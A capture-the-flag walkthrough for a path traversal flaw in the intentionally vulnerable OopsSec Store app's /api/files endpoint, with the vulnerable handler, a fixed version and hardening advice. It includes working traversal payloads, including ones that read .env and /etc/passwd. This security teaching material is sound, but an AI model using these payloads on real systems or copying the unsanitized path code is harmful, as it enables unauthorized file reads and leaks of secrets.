Exploiting an unsanitized file path parameter in OopsSec Store's documents API to read files outside the intended directory and retrieve a flag.
The OopsSec Store exposes /api/files?file=..., an endpoint that serves documents from a documents/ folder. The filename gets joined to the base directory with no sanitization, so one ../ is enough to walk out of documents/ and read anything the Node process can open.
Lab setup
From an empty directory:
npx create-oss-store oss-store
cd oss-store
npm start
Or with Docker (no Node.js required):
docker run -p 3000:3000 leogra/oss-oopssec-store
Head to http://localhost:3000.
Target identification
The /api/files route reads a filename from the file query parameter and returns the file content from the documents/ folder at the project root. The challenge flag sits in flag.txt, one level above documents/.
Exploitation
Step 1: Confirm normal behaviour
Start with a legit file to check the endpoint works:
curl "http://localhost:3000/api/files?file=readme.txt"
You get back a JSON payload with the filename and the raw file content. No filtering, no encoding, just the file as-is.
Step 2: Identify the traversal distance
documents/ and flag.txt share the same parent (the project root). So one ../ walks you from inside documents/ back up to where the flag lives.
Step 3: Send the traversal payload
Send the payload through the query parameter:
curl "http://localhost:3000/api/files?file=../flag.txt"
Pasting the same URL into a browser works just as well:
http://localhost:3000/api/files?file=../flag.txt
Step 4: Retrieve the flag
The response contains the file content:
{
"filename": "../flag.txt",
"content": "OSS{p4th_tr4v3rs4l_4tt4ck}"
}
The flag is OSS{p4th_tr4v3rs4l_4tt4ck}.
Additional targets
The same trick reaches anything the Node process can read:
curl "http://localhost:3000/api/files?file=../.env"
curl "http://localhost:3000/api/files?file=../../../../etc/passwd"
Each extra ../ climbs one more directory. As long as the app's user has read access, the file comes back.
Vulnerable code analysis
Here's the relevant part of the handler:
export async function GET(request: NextRequest) {
const { searchParams } = new URL(request.url);
const file = searchParams.get("file");
const baseDir = join(process.cwd(), "documents");
const filePath = join(baseDir, file);
const content = await readFile(filePath, "utf-8");
return NextResponse.json({ filename: file, content });
}
A few things are wrong here:
- The
filevalue goes straight into the path. No validation, no rejection of.., nothing. -
path.join()looks like a safety net but isn't one. It's a string helper. It resolves..the way the shell would, which meansjoin("/app/documents", "../flag.txt")gives you/app/flag.txt. - Nothing checks that the final path still lives inside
baseDirbefore the read happens.
The bug comes from treating path.join() as a sandbox. It was never meant to be one. Prepending a trusted directory to untrusted input doesn't keep the result in that directory once .. shows up.
Remediation
Resolve the absolute path first, then check it's still inside baseDir before touching the disk:
import { resolve, sep } from "node:path";
import { readFile } from "node:fs/promises";
import { NextRequest, NextResponse } from "next/server";
export async function GET(request: NextRequest) {
const { searchParams } = new URL(request.url);
const file = searchParams.get("file");
if (!file) {
return NextResponse.json(
{ error: "File parameter is required" },
{ status: 400 }
);
}
const baseDir = resolve(process.cwd(), "documents");
const filePath = resolve(baseDir, file);
if (filePath !== baseDir && !filePath.startsWith(baseDir + sep)) {
return NextResponse.json({ error: "Forbidden" }, { status: 403 });
}
const content = await readFile(filePath, "utf-8");
return NextResponse.json({ filename: file, content });
}
path.resolve() gives you an absolute path with .. already collapsed. The startsWith(baseDir + sep) check rejects anything outside the folder, including siblings like /app/documents-backup that would slip past a naive startsWith(baseDir). Reject first, read after.
For production, don't stop there:
- Keep an allowlist of filenames or identifiers and look up the real path server-side. Never accept raw paths from the client.
- Reject input with path separators (
/,\), null bytes, or..before any path work. - Run the app under a user that can only read what it actually needs.
- Log requests that resolve outside the expected directory. Someone probing for this is usually probing for more.
Lab
kOaDT
/
oss-oopssec-store
Security training for the apps you actually ship. Open your browser and start hacking.
OSS - OopsSec Store
An intentionally vulnerable e-commerce app for learning web security.
Master real-world attack vectors through a realistic CTF platform.
Hunt for flags, exploit vulnerabilities, and level up your security skills
Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues
____ ____ ____ ____ ____ ____ _
/ __ \/ __// __/ / __ \ ___ ___ ___ / __/ ___ ____ / __/ / /_ ___ ____ ___
/ /_/ /\ \ _\ \ / /_/ // _ \ / _ \(_-<_\ \ / -_)/ __/_\ \ / __// _ \ / __// -_)
\____/___//___/ \____/ \___// .__/___/___/ \__/ \__//___/ \__/ \___//_/ \__/
/_/
# Node.js
npx create-oss-store my-ctf-lab && cd my-ctf-lab && npm start
# Docker
docker run -p 3000:3000 leogra/oss-oopssec-store
# Then open http://localhost:3000 and…Related weaknesses
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- OWASP Path Traversal
- PortSwigger - Path Traversal
Disclaimers
Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.
Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.
Feedback & Support
Having trouble following this writeup? Found a typo or have suggestions for improvement?
Feel free to open an issue or start a discussion on GitHub.

Top comments (0)